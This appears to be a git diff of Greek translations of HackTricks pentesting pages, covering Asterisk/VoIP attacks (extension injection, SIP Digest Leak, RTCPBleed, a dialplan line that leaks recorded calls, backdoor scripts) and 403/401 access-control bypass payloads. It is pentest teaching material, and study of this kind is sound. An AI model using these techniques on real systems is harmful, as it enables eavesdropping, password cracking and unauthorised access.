 4. **Καταγραφή εισόδου χρήστη**: Συλλογή πληροφοριών από τους καλούντες, όπως αριθμούς λογαριασμών, αναγνωριστικά περιπτώσεων ή οποιαδήποτε άλλη σχετική δεδομένα.
-5. **Ενσωμάτωση με εξωτερικά συστήματα**: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για την πρόσβαση ή την ενημέρωση πληροφοριών, την εκτέλεση ενεργειών ή την ενεργοποίηση γεγονότων.
+5. **Ενοποίηση με εξωτερικά συστήματα**: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για την πρόσβαση ή την ενημέρωση πληροφοριών, την εκτέλεση ενεργειών ή την ενεργοποίηση γεγονότων.

 Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσεων (**`extensions.conf`** αρχείο) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()`, και άλλα. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές προτροπές, να καταγράφετε την είσοδο του χρήστη και να ελέγχετε τη ροή της κλήσης.

@ -447,7 +447,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
 exten => 0,104,Dial(LOCAL/${numbers})
 ```
 Ο προηγούμενος είναι ένα παράδειγμα όπου ο χρήστης ζητείται να **πατήσει 1 για να καλέσει** ένα τμήμα, **2 για να καλέσει** ένα άλλο, ή **τον πλήρη αριθμό** αν τον γνωρίζει.\
-Η ευπάθεια είναι το γεγονός ότι το **μήκος του αριθμού δεν ελέγχεται, οπότε ένας χρήστης θα μπορούσε να εισάγει τον χρόνο λήξης 5 δευτερολέπτων έναν πλήρη αριθμό και θα καλεστεί.**
+Η ευπάθεια είναι το γεγονός ότι η υποδεικνυόμενη **μήκος αριθμού δεν ελέγχεται, οπότε ένας χρήστης θα μπορούσε να εισάγει το 5 δευτερόλεπτα timeout έναν πλήρη αριθμό και θα καλεστεί.**

 ### Extension Injection

@ -463,11 +463,11 @@ exten => 101,1,Dial(SIP/101)
 ```scss
 exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
 ```
-Επομένως, μια κλήση στην επέκταση **`101`** και **`123123123`** θα σταλεί και μόνο η πρώτη που θα λάβει την κλήση θα καθιερωθεί... αλλά αν ένας επιτιθέμενος χρησιμοποιήσει μια **επέκταση που παρακάμπτει οποιαδήποτε αντιστοίχιση** που εκτελείται αλλά δεν υπάρχει, θα μπορούσε να **εισάγει μια κλήση μόνο στον επιθυμητό αριθμό**.
+Επομένως, μια κλήση στην επέκταση **`101`** και **`123123123`** θα σταλεί και μόνο η πρώτη που θα λάβει την κλήση θα καθοριστεί... αλλά αν ένας επιτιθέμενος χρησιμοποιήσει μια **επέκταση που παρακάμπτει οποιαδήποτε αντιστοίχιση** που εκτελείται αλλά δεν υπάρχει, θα μπορούσε να **εισάγει μια κλήση μόνο στον επιθυμητό αριθμό**.

 ## Ευπάθεια SIPDigestLeak

-Η ευπάθεια SIP Digest Leak είναι μια ευπάθεια που επηρεάζει έναν μεγάλο αριθμό SIP Phones, συμπεριλαμβανομένων τόσο υλικών όσο και λογισμικών IP Phones καθώς και προσαρμογέων τηλεφώνου (VoIP σε αναλογικό). Η ευπάθεια επιτρέπει **διαρροή της απάντησης αυθεντικοποίησης Digest**, η οποία υπολογίζεται από τον κωδικό πρόσβασης. Μια **επίθεση κωδικού πρόσβασης εκτός σύνδεσης είναι στη συνέχεια δυνατή** και μπορεί να ανακτήσει τους περισσότερους κωδικούς πρόσβασης με βάση την απάντηση πρόκλησης.
+Η ευπάθεια SIP Digest Leak είναι μια ευπάθεια που επηρεάζει έναν μεγάλο αριθμό SIP Phones, συμπεριλαμβανομένων τόσο υλικών όσο και λογισμικών IP Phones καθώς και προσαρμογέων τηλεφώνου (VoIP σε αναλογικό). Η ευπάθεια επιτρέπει **διαρροή της απάντησης πιστοποίησης Digest**, η οποία υπολογίζεται από τον κωδικό πρόσβασης. Μια **επίθεση κωδικού πρόσβασης εκτός σύνδεσης είναι στη συνέχεια δυνατή** και μπορεί να ανακτήσει τους περισσότερους κωδικούς πρόσβασης με βάση την απάντηση πρόκλησης.

 **[Σενάριο ευπάθειας από εδώ**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):

@ -475,11 +475,11 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
 2. Ο επιτιθέμενος στέλνει μια INVITE στο IP Phone
 3. Το τηλέφωνο του θύματος αρχίζει να χτυπά και κάποιος το σηκώνει και το κλείνει (επειδή κανείς δεν απαντά στο τηλέφωνο στην άλλη άκρη)
 4. Όταν το τηλέφωνο κλείνει, το **τηλέφωνο του θύματος στέλνει ένα BYE στον επιτιθέμενο**
-5. Ο **επιτιθέμενος εκδίδει μια απάντηση 407** που **ζητά αυθεντικοποίηση** και εκδίδει μια πρόκληση αυθεντικοποίησης
-6. Το **τηλέφωνο του θύματος παρέχει μια απάντηση στην πρόκληση αυθεντικοποίησης** σε ένα δεύτερο BYE
+5. Ο **επιτιθέμενος εκδίδει μια απάντηση 407** που **ζητά πιστοποίηση** και εκδίδει μια πρόκληση πιστοποίησης
+6. Το **τηλέφωνο του θύματος παρέχει μια απάντηση στην πρόκληση πιστοποίησης** σε ένα δεύτερο BYE
 7. Ο **επιτιθέμενος μπορεί στη συνέχεια να εκδώσει μια επίθεση brute-force** στην απάντηση πρόκλησης στον τοπικό του υπολογιστή (ή σε κατανεμημένο δίκτυο κ.λπ.) και να μαντέψει τον κωδικό πρόσβασης

-* **SIPPTS leak** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η διαρροή SIPPTS εκμεταλλεύεται την ευπάθεια SIP Digest Leak που επηρεάζει έναν μεγάλο αριθμό SIP Phones. Η έξοδος μπορεί να αποθηκευτεί σε μορφή SipCrack για να γίνει brute force χρησιμοποιώντας το SIPPTS dcrack ή το εργαλείο SipCrack.
+* **Διαρροή SIPPTS** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η διαρροή SIPPTS εκμεταλλεύεται την ευπάθεια SIP Digest Leak που επηρεάζει έναν μεγάλο αριθμό SIP Phones. Η έξοδος μπορεί να αποθηκευτεί σε μορφή SipCrack για να γίνει brute force χρησιμοποιώντας το SIPPTS dcrack ή το εργαλείο SipCrack.
 ```bash
 sippts leak -i 10.10.0.10

@ -502,7 +502,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
 ```
 ### Click2Call

-Το Click2Call επιτρέπει σε έναν **χρήστη του διαδικτύου** (ο οποίος για παράδειγμα μπορεί να ενδιαφέρεται για ένα προϊόν) να **εισάγει** τον **αριθμό τηλεφώνου** του για να λάβει κλήση. Στη συνέχεια, θα καλέσει έναν εμπορικό, και όταν **σηκώσει το τηλέφωνο** ο χρήστης θα **καλεστεί και θα συνδεθεί με τον πράκτορα**.
+Το Click2Call επιτρέπει σε έναν **χρήστη του διαδικτύου** (ο οποίος για παράδειγμα μπορεί να ενδιαφέρεται για ένα προϊόν) να **εισάγει** τον **αριθμό τηλεφώνου** του για να λάβει κλήση. Στη συνέχεια, θα καλέσει μια εμπορική κλήση, και όταν **σηκώσει το τηλέφωνο** ο χρήστης θα **καλεστεί και θα συνδεθεί με τον πράκτορα**.

 Ένα κοινό προφίλ Asterisk για αυτό είναι:
 ```scss
@ -514,8 +514,8 @@ displayconnects = yes
 read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
 write = system,call,agent,user,config,command,reporting,originate
 ```
-* Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΟΔΗΠΟΤΕ IP διεύθυνση να συνδεθεί** (αν είναι γνωστός ο κωδικός).
-* Για να **διοργανωθεί μια κλήση**, όπως αναφέρθηκε προηγουμένως, **δεν απαιτούνται δικαιώματα ανάγνωσης** και **μόνο** **η προέλευση** σε **γραφή** είναι απαραίτητη.
+* Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΟΔΗΠΟΤΕ IP διεύθυνση να συνδεθεί** (αν η κωδικός είναι γνωστός).
+* Για να **διοργανωθεί μια κλήση**, όπως καθορίστηκε προηγουμένως, **δεν απαιτούνται δικαιώματα ανάγνωσης** και **μόνο** **η προέλευση** σε **γραφή** είναι απαραίτητη.

 Με αυτά τα δικαιώματα, οποιαδήποτε IP γνωρίζει τον κωδικό θα μπορούσε να συνδεθεί και να εξάγει πάρα πολλές πληροφορίες, όπως:

@ -548,23 +548,23 @@ exten => _X.,2,MixMonitor(${NAME})

 Οι κλήσεις θα αποθηκεύονται στο **`/tmp`**.

-Μπορείτε επίσης να κάνετε το Asterisk **να εκτελεί ένα σενάριο που θα διαρρεύσει την κλήση** όταν κλείσει.
+Μπορείτε επίσης να κάνετε το Asterisk **να εκτελέσει ένα σενάριο που θα διαρρεύσει την κλήση** όταν κλείσει.
 ```scss
 exten => h,1,System(/tmp/leak_conv.sh &)
 ```
 ### RTCPBleed ευπάθεια

-**RTCPBleed** είναι ένα σημαντικό πρόβλημα ασφαλείας που επηρεάζει τους VoIP διακομιστές βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στο **RTP (Πρωτόκολλο Πραγματικού Χρόνου) traffic**, το οποίο μεταφέρει τις συνομιλίες VoIP, να **παρακολουθείται και να ανακατευθύνεται από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η κυκλοφορία RTP παρακάμπτει την αυθεντικοποίηση όταν περιηγείται μέσω NAT (Μετάφραση Διεύθυνσης Δικτύου) τειχών προστασίας.
+**RTCPBleed** είναι ένα σημαντικό πρόβλημα ασφαλείας που επηρεάζει τους VoIP διακομιστές βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει την **παρακολούθηση και ανακατεύθυνση της RTP (Πρωτόκολλο Πραγματικού Χρόνου) κίνησης**, η οποία μεταφέρει τις VoIP συνομιλίες, από **οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η RTP κίνηση παρακάμπτει την αυθεντικοποίηση όταν περιηγείται μέσω NAT (Μετάφραση Διεύθυνσης Δικτύου) τειχών προστασίας.

-Οι RTP proxies προσπαθούν να αντιμετωπίσουν τους **περιορισμούς NAT** που επηρεάζουν τα συστήματα RTC προξενώντας ροές RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό RTP proxy συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Επομένως, αρκετοί RTP proxies έχουν εφαρμόσει έναν μηχανισμό όπου τέτοιο **IP και θύρα tuplet μαθαίνεται αυτόματα**. Αυτό γίνεται συχνά με την επιθεώρηση της εισερχόμενης κυκλοφορίας RTP και την επισήμανση της πηγής IP και θύρας για οποιαδήποτε εισερχόμενη κυκλοφορία RTP ως αυτή που θα πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομάζεται "λειτουργία εκμάθησης", **δεν χρησιμοποιεί κανενός είδους αυθεντικοποίηση**. Επομένως, **επιτιθέμενοι** μπορεί να **στείλουν κυκλοφορία RTP στον RTP proxy** και να λάβουν την προξενημένη κυκλοφορία RTP που προορίζεται για τον καλούντα ή τον καλούμενο μιας συνεχιζόμενης ροής RTP. Αυτή την ευπάθεια την ονομάζουμε RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές μέσων RTP που προορίζονται να σταλούν σε νόμιμους χρήστες.
+Οι RTP μεσολαβητές προσπαθούν να αντιμετωπίσουν τους **περιορισμούς NAT** που επηρεάζουν τα RTC συστήματα με την προώθηση των RTP ροών μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό του RTP μεσολαβητή συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Επομένως, αρκετοί RTP μεσολαβητές έχουν εφαρμόσει έναν μηχανισμό όπου τέτοιο **IP και θύρα μαθαίνονται αυτόματα**. Αυτό γίνεται συχνά με την επιθεώρηση της εισερχόμενης RTP κίνησης και την επισήμανση της πηγής IP και θύρας για οποιαδήποτε εισερχόμενη RTP κίνηση ως αυτή που θα πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομάζεται "λειτουργία εκμάθησης", **δεν χρησιμοποιεί κανενός είδους αυθεντικοποίηση**. Επομένως, **επιτιθέμενοι** μπορεί να **στείλουν RTP κίνηση στον RTP μεσολαβητή** και να λάβουν την προωθημένη RTP κίνηση που προορίζεται για τον καλούντα ή τον καλούμενο μιας τρέχουσας RTP ροής. Αυτή την ευπάθεια την ονομάζουμε RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν RTP μέσα ροές που προορίζονται να σταλούν σε νόμιμους χρήστες.

-Μια άλλη ενδιαφέρουσα συμπεριφορά των RTP proxies και των στοίβων RTP είναι ότι μερικές φορές, **ακόμα και αν δεν είναι ευάλωτοι στο RTP Bleed**, θα **αποδέχονται, προωθούν και/ή επεξεργάζονται πακέτα RTP από οποιαδήποτε πηγή**. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν πακέτα RTP που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί για τα νόμιμα. Αυτή την επίθεση την ονομάζουμε RTP injection επειδή επιτρέπει την εισαγωγή παράνομων πακέτων RTP σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε RTP proxies όσο και σε τερματικά.
+Μια άλλη ενδιαφέρουσα συμπεριφορά των RTP μεσολαβητών και των RTP στοίβων είναι ότι μερικές φορές, **ακόμα και αν δεν είναι ευάλωτοι στο RTP Bleed**, θα **αποδέχονται, προωθούν και/ή επεξεργάζονται RTP πακέτα από οποιαδήποτε πηγή**. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν RTP πακέτα που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί για τα νόμιμα. Αυτή την επίθεση την ονομάζουμε RTP injection επειδή επιτρέπει την εισαγωγή παράνομων RTP πακέτων σε υπάρχουσες RTP ροές. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε RTP μεσολαβητές όσο και σε τερματικά.

-Ο Asterisk και το FreePBX παραδοσιακά χρησιμοποιούν την **ρύθμιση `NAT=yes`**, η οποία επιτρέπει στην κυκλοφορία RTP να παρακάμπτει την αυθεντικοποίηση, ενδεχομένως οδηγώντας σε καμία ή μονόδρομη ήχο σε κλήσεις.
+Ο Asterisk και το FreePBX παραδοσιακά χρησιμοποιούν την **ρύθμιση `NAT=yes`**, η οποία επιτρέπει στην RTP κίνηση να παρακάμπτει την αυθεντικοποίηση, ενδεχομένως οδηγώντας σε καμία ή μονόδρομη ήχο σε κλήσεις.

-Για περισσότερες πληροφορίες, ελέγξτε [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
+Για περισσότερες πληροφορίες ελέγξτε [https://www.rtpbleed.com/](https://www.rtpbleed.com/)

-* **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπάθεια RTP Bleed στέλνοντας ροές RTP.
+* **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπάθεια RTP Bleed στέλνοντας RTP ροές.
 ```bash
 sippts rtpbleed -i 10.10.0.10
 ```
@ -592,7 +592,7 @@ There is command called **`Shell`** that could be used **instead of `System`** t
 If the server is **disallowing the use of certain characters** in the **`System`** command (like in Elastix), check if the web server allows to **create files somehow inside the system** (like in Elastix or trixbox), and use it to **create a backdoor script** and then use **`System`** to **execute** that **script**.
 {% endhint %}

-#### Interesting local files and permissions
+#### Interesting τοπικά αρχεία και άδειες

 * **`sip.conf`** -> Περιέχει τον κωδικό πρόσβασης των χρηστών SIP.
 * If the **Asterisk server is running as root**, you could compromise root
@ -604,7 +604,7 @@ If the server is **disallowing the use of certain characters** in the **`System`
 * this could be used to create a new mysql user as backdoor
 * **`Elastix`**
 * **`Elastix.conf`** -> Περιέχει αρκετούς κωδικούς πρόσβασης σε καθαρό κείμενο όπως τον κωδικό mysql root, τον κωδικό IMAPd, τον κωδικό διαχειριστή web
-* **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
+* **Αρκετοί φάκελοι** θα ανήκουν στον παραβιασμένο χρήστη asterisk (αν δεν τρέχει ως root). Αυτός ο χρήστης μπορεί να διαβάσει τα προηγούμενα αρχεία και επίσης ελέγχει τη διαμόρφωση, οπότε θα μπορούσε να κάνει τον Asterisk να φορτώσει άλλες παραβιασμένες δυαδικές όταν εκτελούνται.

 ### RTP Injection

@ -646,7 +646,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

 **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

--- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@ -6,7 +6,7 @@

 <details>

-<summary>Υποστήριξη HackTricks</summary>
+<summary>Υποστηρίξτε το HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,9 +17,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -27,9 +27,9 @@

 Δοκιμάστε να χρησιμοποιήσετε **διαφορετικά ρήματα** για να αποκτήσετε πρόσβαση στο αρχείο: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`

-* Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **απόκριση 200** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **ρήμα HEAD μπορεί να αποκτήσει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
+* Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **απάντηση 200** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **ρήμα HEAD μπορεί να αποκτήσει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
 * Χρησιμοποιώντας μια HTTP κεφαλίδα όπως `X-HTTP-Method-Override: PUT` μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται.
-* Χρησιμοποιήστε το **`TRACE`** ρήμα και αν είστε πολύ τυχεροί ίσως στην απόκριση να δείτε επίσης τις **κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές** που μπορεί να είναι χρήσιμες.
+* Χρησιμοποιήστε το **`TRACE`** ρήμα και αν είστε πολύ τυχεροί ίσως στην απάντηση να δείτε επίσης τις **κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές** που μπορεί να είναι χρήσιμες.

 ## HTTP Headers Fuzzing

@ -51,7 +51,7 @@
 * `X-ProxyUser-Ip: 127.0.0.1`
 * `Host: localhost`

-Αν η **διαδρομή είναι προστατευμένη** μπορείτε να προσπαθήσετε να παρακάμψετε την προστασία της διαδρομής χρησιμοποιώντας αυτές τις άλλες κεφαλίδες:
+Αν το **μονοπάτι είναι προστατευμένο** μπορείτε να προσπαθήσετε να παρακάμψετε την προστασία του μονοπατιού χρησιμοποιώντας αυτές τις άλλες κεφαλίδες:

 * `X-Original-URL: /admin/console`
 * `X-Rewrite-URL: /admin/console`
@ -66,7 +66,7 @@

 * Δοκιμάστε να χρησιμοποιήσετε _**/**_**%2e/path \_(αν η πρόσβαση είναι μπλοκαρισμένη από έναν διακομιστή μεσολάβησης, αυτό θα μπορούσε να παρακάμψει την προστασία). Δοκιμάστε επίσης**\_\*\* /%252e\*\*/path (διπλή κωδικοποίηση URL)
 * Δοκιμάστε **Unicode bypass**: _/**%ef%bc%8f**path_ (Οι κωδικοποιημένοι χαρακτήρες URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι _//path_ και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος _/path_
-* **Άλλες παρακάμψεις διαδρομής**:
+* **Άλλες παρακάμψεις μονοπατιών**:
 * site.com/secret –> HTTP 403 Forbidden
 * site.com/SECRET –> HTTP 200 OK
 * site.com/secret/ –> HTTP 200 OK
@ -84,9 +84,9 @@
 * **Άλλες παρακάμψεις API:**
 * /v3/users\_data/1234 --> 403 Forbidden
 * /v1/users\_data/1234 --> 200 OK
-* {“id”:111} --> 401 Unauthorized
+* {“id”:111} --> 401 Unauthriozied
 * {“id”:\[111]} --> 200 OK
-* {“id”:111} --> 401 Unauthorized
+* {“id”:111} --> 401 Unauthriozied
 * {“id”:{“id”:111\}} --> 200 OK
 * {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution)
 * user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution)
@ -107,7 +107,7 @@
 ## **Άλλες παρακάμψεις**

 * Αποκτήστε το **IP** ή **CNAME** του τομέα και δοκιμάστε να **επικοινωνήσετε απευθείας**.
-* Δοκιμάστε να **πιέσετε τον διακομιστή** στέλνοντας κοινές GET αιτήσεις ([Λειτούργησε για αυτόν τον τύπο με το Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
+* Δοκιμάστε να **πιέσετε τον διακομιστή** στέλνοντας κοινά GET αιτήματα ([Λειτούργησε για αυτόν τον τύπο με το Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
 * **Αλλάξτε το πρωτόκολλο**: από http σε https, ή για https σε http
 * Πηγαίνετε στο [**https://archive.org/web/**](https://archive.org/web/) και ελέγξτε αν στο παρελθόν αυτό το αρχείο ήταν **παγκοσμίως προσβάσιμο**.

@ -140,9 +140,9 @@ guest    guest

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας στο διαδίκτυο, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-web/README.md
+++ b/network-services-pentesting/pentesting-web/README.md
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

 ## Basic Info

-Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.
+Η διαδικτυακή υπηρεσία είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.

 **Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS)
 ```bash
@ -46,15 +46,15 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0

 ## Methodology summary

-> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα τομέα (ή υποτομέα) και μόνο σε αυτόν. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέντα τομέα, υποτομέα ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
+> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή subdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.

-* [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
+* [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
 * [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
 * [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
-* [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που πρέπει να τρέξετε (όπως το wpscan);
